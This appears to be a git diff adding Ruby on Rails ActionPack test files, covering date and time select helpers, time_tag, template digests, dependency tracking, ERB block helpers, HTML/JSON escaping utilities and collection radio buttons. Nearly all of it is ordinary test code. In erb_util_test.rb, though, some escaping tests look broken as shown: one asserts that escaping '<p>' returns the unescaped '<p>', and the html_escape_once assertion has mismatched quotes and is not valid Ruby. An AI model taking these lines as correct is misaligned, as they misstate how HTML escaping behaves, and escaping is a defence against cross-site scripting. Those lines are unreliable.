+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true, :disabled => true)
+ end
+
+ def test_datetime_select_invalid_order
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
+ end
+
+ def test_datetime_select_discard_with_order
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
+ end
+
+ def test_datetime_select_with_default_value_as_time
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ 2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
+ end
+
+ def test_include_blank_overrides_default_option
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %(<option value=""></option>\n)
+ (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %(<option value=""></option>\n)
+ 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %(<option value=""></option>\n)
+ 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
+ end
+
+ def test_datetime_select_with_default_value_as_hash
+ @post = Post.new
+ @post.updated_at = nil
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 10}>#{Date::MONTHNAMES[i]}</option>\n) }
+ expected << "</select>\n"
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.day}>#{i}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 9}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 42}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :default => { :month => 10, :minute => 42, :hour => 9 })
+ end
+
+ def test_datetime_select_with_html_options
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]" class="selector">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]" class="selector">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]" class="selector">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
+ end
+
+ def test_date_select_should_not_change_passed_options_hash
+ @post = Post.new
+ @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ date_select(@post, :updated_at, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_datetime_select_should_not_change_passed_options_hash
+ @post = Post.new
+ @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ datetime_select(@post, :updated_at, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_time_select_should_not_change_passed_options_hash
+ @post = Post.new
+ @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ time_select(@post, :updated_at, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_date_should_not_change_passed_options_hash
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ select_date(Date.today, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_datetime_should_not_change_passed_options_hash
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ select_datetime(Time.now, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_time_should_not_change_passed_options_hash
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ select_time(Time.now, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_html_safety
+ assert select_day(16).html_safe?
+ assert select_month(8).html_safe?
+ assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+ assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+ assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+
+ assert select_minute(8, :use_hidden => true).html_safe?
+ assert select_month(8, :prompt => 'Choose month').html_safe?
+
+ assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
+ assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
+ end
+
+ def test_object_select_html_safety
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?
+ assert time_select("post", "written_on", :ignore_date => true).html_safe?
+ end
+
+ def test_time_tag_with_date
+ date = Date.new(2013, 2, 20)
+ expected = '<time datetime="2013-02-20">February 20, 2013</time>'
+ assert_equal expected, time_tag(date)
+ end
+
+ def test_time_tag_with_time
+ time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
+ expected = '<time datetime="2013-02-20T00:00:00+00:00">February 20, 2013 00:00</time>'
+ assert_equal expected, time_tag(time)
+ end
+
+ def test_time_tag_pubdate_option
+ assert_match(/<time.*pubdate="pubdate">.*<\/time>/, time_tag(Time.now, :pubdate => true))
+ end
+
+ def test_time_tag_with_given_text
+ assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, 'Right now'))
+ end
+
+ def test_time_tag_with_given_block
+ assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe })
+ end
+
+ def test_time_tag_with_different_format
+ time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
+ expected = '<time datetime="2013-02-20T00:00:00+00:00">20 Feb 00:00</time>'
+ assert_equal expected, time_tag(time, :format => :short)
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
diff --git a/actionpack/test/template/debug_helper_test.rb b/actionpack/test/template/debug_helper_test.rb
new file mode 100644
index 0000000..42d06bd
--- /dev/null
+++ b/actionpack/test/template/debug_helper_test.rb
@@ -0,0 +1,8 @@
+require 'active_record_unit'
+
+class DebugHelperTest < ActionView::TestCase
+ def test_debug
+ company = Company.new(name: "firebase")
+ assert_match " name: firebase", debug(company)
+ end
+end
diff --git a/actionpack/test/template/dependency_tracker_test.rb b/actionpack/test/template/dependency_tracker_test.rb
new file mode 100644
index 0000000..9c68afb
--- /dev/null
+++ b/actionpack/test/template/dependency_tracker_test.rb
@@ -0,0 +1,46 @@
+require 'abstract_unit'
+require 'action_view/dependency_tracker'
+
+class DependencyTrackerTest < ActionView::TestCase
+ Neckbeard = lambda {|template| template.source }
+ Bowtie = lambda {|template| template.source }
+
+ class NeckbeardTracker
+ def self.call(name, template)
+ ["foo/#{name}"]
+ end
+ end
+
+ class FakeTemplate
+ attr_reader :source, :handler
+
+ def initialize(source, handler = Neckbeard)
+ @source, @handler = source, handler
+ end
+ end
+
+ def tracker
+ ActionView::DependencyTracker
+ end
+
+ def setup
+ ActionView::Template.register_template_handler :neckbeard, Neckbeard
+ tracker.register_tracker(:neckbeard, NeckbeardTracker)
+ end
+
+ def teardown
+ tracker.remove_tracker(:neckbeard)
+ end
+
+ def test_finds_tracker_by_template_handler
+ template = FakeTemplate.new("boo/hoo")
+ dependencies = tracker.find_dependencies("boo/hoo", template)
+ assert_equal ["foo/boo/hoo"], dependencies
+ end
+
+ def test_returns_empty_array_if_no_tracker_is_found
+ template = FakeTemplate.new("boo/hoo", Bowtie)
+ dependencies = tracker.find_dependencies("boo/hoo", template)
+ assert_equal [], dependencies
+ end
+end
diff --git a/actionpack/test/template/digestor_test.rb b/actionpack/test/template/digestor_test.rb
new file mode 100644
index 0000000..e29ceca
--- /dev/null
+++ b/actionpack/test/template/digestor_test.rb
@@ -0,0 +1,191 @@
+require 'abstract_unit'
+require 'fileutils'
+
+class FixtureTemplate
+ attr_reader :source, :handler
+
+ def initialize(template_path)
+ @source = File.read(template_path)
+ @handler = ActionView::Template.handler_for_extension(:erb)
+ rescue Errno::ENOENT
+ raise ActionView::MissingTemplate.new([], "", [], true, [])
+ end
+end
+
+class FixtureFinder
+ FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
+
+ def find(logical_name, keys, partial, options)
+ FixtureTemplate.new("digestor/#{partial ? logical_name.gsub(%r|/([^/]+)$|, '/_\1') : logical_name}.#{options[:formats].first}.erb")
+ end
+end
+
+class TemplateDigestorTest < ActionView::TestCase
+ def setup
+ @cwd = Dir.pwd
+ @tmp_dir = Dir.mktmpdir
+
+ FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir
+ Dir.chdir @tmp_dir
+ end
+
+ def teardown
+ Dir.chdir @cwd
+ FileUtils.rm_r @tmp_dir
+ ActionView::Digestor.cache.clear
+ end
+
+ def test_top_level_change_reflected
+ assert_digest_difference("messages/show") do
+ change_template("messages/show")
+ end
+ end
+
+ def test_explicit_dependency
+ assert_digest_difference("messages/show") do
+ change_template("messages/_message")
+ end
+ end
+
+ def test_explicit_dependency_in_multiline_erb_tag
+ assert_digest_difference("messages/show") do
+ change_template("messages/_form")
+ end
+ end
+
+ def test_second_level_dependency
+ assert_digest_difference("messages/show") do
+ change_template("comments/_comments")
+ end
+ end
+
+ def test_second_level_dependency_within_same_directory
+ assert_digest_difference("messages/show") do
+ change_template("messages/_header")
+ end
+ end
+
+ def test_third_level_dependency
+ assert_digest_difference("messages/show") do
+ change_template("comments/_comment")
+ end
+ end
+
+ def test_directory_depth_dependency
+ assert_digest_difference("level/below/index") do
+ change_template("level/below/_header")
+ end
+ end
+
+ def test_logging_of_missing_template
+ assert_logged "Couldn't find template for digesting: messages/something_missing.html" do
+ digest("messages/show")
+ end
+ end
+
+ def test_nested_template_directory
+ assert_digest_difference("messages/show") do
+ change_template("messages/actions/_move")
+ end
+ end
+
+ def test_dont_generate_a_digest_for_missing_templates
+ assert_equal '', digest("nothing/there")
+ end
+
+ def test_collection_dependency
+ assert_digest_difference("messages/index") do
+ change_template("messages/_message")
+ end
+
+ assert_digest_difference("messages/index") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_collection_derived_from_record_dependency
+ assert_digest_difference("messages/show") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_extra_whitespace_in_render_partial
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_form")
+ end
+ end
+
+ def test_extra_whitespace_in_render_named_partial
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_header")
+ end
+ end
+
+ def test_extra_whitespace_in_render_record
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_message")
+ end
+ end
+
+ def test_extra_whitespace_in_render_with_parenthesis
+ assert_digest_difference("messages/edit") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_old_style_hash_in_render_invocation
+ assert_digest_difference("messages/edit") do
+ change_template("comments/_comment")
+ end
+ end
+
+ def test_dependencies_via_options_results_in_different_digest
+ digest_plain = digest("comments/_comment")
+ digest_fridge = digest("comments/_comment", dependencies: ["fridge"])
+ digest_phone = digest("comments/_comment", dependencies: ["phone"])
+ digest_fridge_phone = digest("comments/_comment", dependencies: ["fridge", "phone"])
+
+ assert_not_equal digest_plain, digest_fridge
+ assert_not_equal digest_plain, digest_phone
+ assert_not_equal digest_plain, digest_fridge_phone
+ assert_not_equal digest_fridge, digest_phone
+ assert_not_equal digest_fridge, digest_fridge_phone
+ assert_not_equal digest_phone, digest_fridge_phone
+ end
+
+ private
+ def assert_logged(message)
+ old_logger = ActionView::Base.logger
+ log = StringIO.new
+ ActionView::Base.logger = Logger.new(log)
+
+ begin
+ yield
+
+ log.rewind
+ assert_match message, log.read
+ ensure
+ ActionView::Base.logger = old_logger
+ end
+ end
+
+ def assert_digest_difference(template_name)
+ previous_digest = digest(template_name)
+ ActionView::Digestor.cache.clear
+
+ yield
+
+ assert previous_digest != digest(template_name), "digest didn't change"
+ ActionView::Digestor.cache.clear
+ end
+
+ def digest(template_name, options={})
+ ActionView::Digestor.digest(template_name, :html, FixtureFinder.new, options)
+ end
+
+ def change_template(template_name)
+ File.open("digestor/#{template_name}.html.erb", "w") do |f|
+ f.write "\nTHIS WAS CHANGED!"
+ end
+ end
+end
diff --git a/actionpack/test/template/erb/form_for_test.rb b/actionpack/test/template/erb/form_for_test.rb
new file mode 100644
index 0000000..e722b40
--- /dev/null
+++ b/actionpack/test/template/erb/form_for_test.rb
@@ -0,0 +1,11 @@
+require "abstract_unit"
+require "template/erb/helper"
+
+module ERBTest
+ class TagHelperTest < BlockTestCase
+ test "form_for works" do
+ output = render_content "form_for(:staticpage, :url => {:controller => 'blah', :action => 'update'})", ""
+ assert_match %r{<form.*action="/blah/update".*method="post">.*</form>}, output
+ end
+ end
+end
diff --git a/actionpack/test/template/erb/helper.rb b/actionpack/test/template/erb/helper.rb
new file mode 100644
index 0000000..a197306
--- /dev/null
+++ b/actionpack/test/template/erb/helper.rb
@@ -0,0 +1,24 @@
+module ERBTest
+ class ViewContext
+ include ActionView::Helpers::UrlHelper
+ include SharedTestRoutes.url_helpers
+ include ActionView::Helpers::TagHelper
+ include ActionView::Helpers::JavaScriptHelper
+ include ActionView::Helpers::FormHelper
+
+ attr_accessor :output_buffer, :controller
+
+ def protect_against_forgery?() false end
+ end
+
+ class BlockTestCase < ActiveSupport::TestCase
+ def render_content(start, inside)
+ template = block_helper(start, inside)
+ ActionView::Template::Handlers::Erubis.new(template).evaluate(ViewContext.new)
+ end
+
+ def block_helper(str, rest)
+ "<%= #{str} do %>#{rest}<% end %>"
+ end
+ end
+end
diff --git a/actionpack/test/template/erb/tag_helper_test.rb b/actionpack/test/template/erb/tag_helper_test.rb
new file mode 100644
index 0000000..84e328d
--- /dev/null
+++ b/actionpack/test/template/erb/tag_helper_test.rb
@@ -0,0 +1,30 @@
+require "abstract_unit"
+require "template/erb/helper"
+
+module ERBTest
+ class TagHelperTest < BlockTestCase
+ test "percent equals works for content_tag and does not require parenthesis on method call" do
+ assert_equal "<div>Hello world</div>", render_content("content_tag :div", "Hello world")
+ end
+
+ test "percent equals works for javascript_tag" do
+ expected_output = "<script>\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
+ assert_equal expected_output, render_content("javascript_tag", "alert('Hello')")
+ end
+
+ test "percent equals works for javascript_tag with options" do
+ expected_output = "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('Hello')\n//]]>\n</script>"
+ assert_equal expected_output, render_content("javascript_tag(:id => 'the_js_tag')", "alert('Hello')")
+ end
+
+ test "percent equals works with form tags" do
+ expected_output = %r{<form.*action="foo".*method="post">.*hello*</form>}
+ assert_match expected_output, render_content("form_tag('foo')", "<%= 'hello' %>")
+ end
+
+ test "percent equals works with fieldset tags" do
+ expected_output = "<fieldset><legend>foo</legend>hello</fieldset>"
+ assert_equal expected_output, render_content("field_set_tag('foo')", "<%= 'hello' %>")
+ end
+ end
+end
diff --git a/actionpack/test/template/erb_util_test.rb b/actionpack/test/template/erb_util_test.rb
new file mode 100644
index 0000000..3e5b029
--- /dev/null
+++ b/actionpack/test/template/erb_util_test.rb
@@ -0,0 +1,60 @@
+require 'abstract_unit'
+
+class ErbUtilTest < ActiveSupport::TestCase
+ include ERB::Util
+
+ ERB::Util::HTML_ESCAPE.each do |given, expected|
+ define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
+ assert_equal expected, html_escape(given)
+ end
+ end
+
+ ERB::Util::JSON_ESCAPE.each do |given, expected|
+ define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
+ assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
+ end
+ end
+
+ def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
+ value = json_escape("asdf")
+ assert !value.html_safe?
+ end
+
+ def test_json_escape_returns_safe_strings_when_passed_safe_strings
+ value = json_escape("asdf".html_safe)
+ assert value.html_safe?
+ end
+
+ def test_html_escape_is_html_safe
+ escaped = h("<p>")
+ assert_equal "<p>", escaped
+ assert escaped.html_safe?
+ end
+
+ def test_html_escape_passes_html_escpe_unmodified
+ escaped = h("<p>".html_safe)
+ assert_equal "<p>", escaped
+ assert escaped.html_safe?
+ end
+
+ def test_rest_in_ascii
+ (0..127).to_a.map {|int| int.chr }.each do |chr|
+ next if %('"&<>).include?(chr)
+ assert_equal chr, html_escape(chr)
+ end
+ end
+
+ def test_html_escape_once
+ assert_equal '1 <>&"' 2 & 3', html_escape_once('1 <>&"\' 2 & 3')
+ end
+
+ def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
+ value = html_escape_once('1 < 2 & 3')
+ assert !value.html_safe?
+ end
+
+ def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
+ value = html_escape_once('1 < 2 & 3'.html_safe)
+ assert value.html_safe?
+ end
+end
diff --git a/actionpack/test/template/form_collections_helper_test.rb b/actionpack/test/template/form_collections_helper_test.rb
new file mode 100644
index 0000000..2131f81
--- /dev/null
+++ b/actionpack/test/template/form_collections_helper_test.rb
@@ -0,0 +1,342 @@
+require 'abstract_unit'
+
+class Category < Struct.new(:id, :name)
+end
+
+class FormCollectionsHelperTest < ActionView::TestCase
+ def assert_no_select(selector, value = nil)
+ assert_select(selector, :text => value, :count => 0)
+ end
+
+ def with_collection_radio_buttons(*args, &block)
+ @output_buffer = collection_radio_buttons(*args, &block)
+ end
+
+ def with_collection_check_boxes(*args, &block)
+ @output_buffer = collection_check_boxes(*args, &block)
+ end
+
+ # COLLECTION RADIO BUTTONS
+ test 'collection radio accepts a collection and generate inputs from value method' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'input[type=radio][value=true]#user_active_true'
+ assert_select 'input[type=radio][value=false]#user_active_false'
+ end
+
+ test 'collection radio accepts a collection and generate inputs from label method' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'label[for=user_active_true]', 'true'
+ assert_select 'label[for=user_active_false]', 'false'
+ end
+
+ test 'collection radio handles camelized collection values for labels correctly' do
+ with_collection_radio_buttons :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+ assert_select 'label[for=user_active_yes]', 'Yes'
+ assert_select 'label[for=user_active_no]', 'No'
+ end
+
+ test 'colection radio should sanitize collection values for labels correctly' do
+ with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+ assert_select 'label[for=user_name_099]', '$0.99'
+ assert_select 'label[for=user_name_199]', '$1.99'
+ end
+
+ test 'collection radio accepts checked item' do
+ with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => true
+
+ assert_select 'input[type=radio][value=true][checked=checked]'
+ assert_no_select 'input[type=radio][value=false][checked=checked]'
+ end
+
+ test 'collection radio accepts multiple disabled items' do
+ collection = [[1, true], [0, false], [2, 'other']]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => [true, false]
+
+ assert_select 'input[type=radio][value=true][disabled=disabled]'
+ assert_select 'input[type=radio][value=false][disabled=disabled]'
+ assert_no_select 'input[type=radio][value=other][disabled=disabled]'
+ end
+
+ test 'collection radio accepts single disable item' do
+ collection = [[1, true], [0, false]]
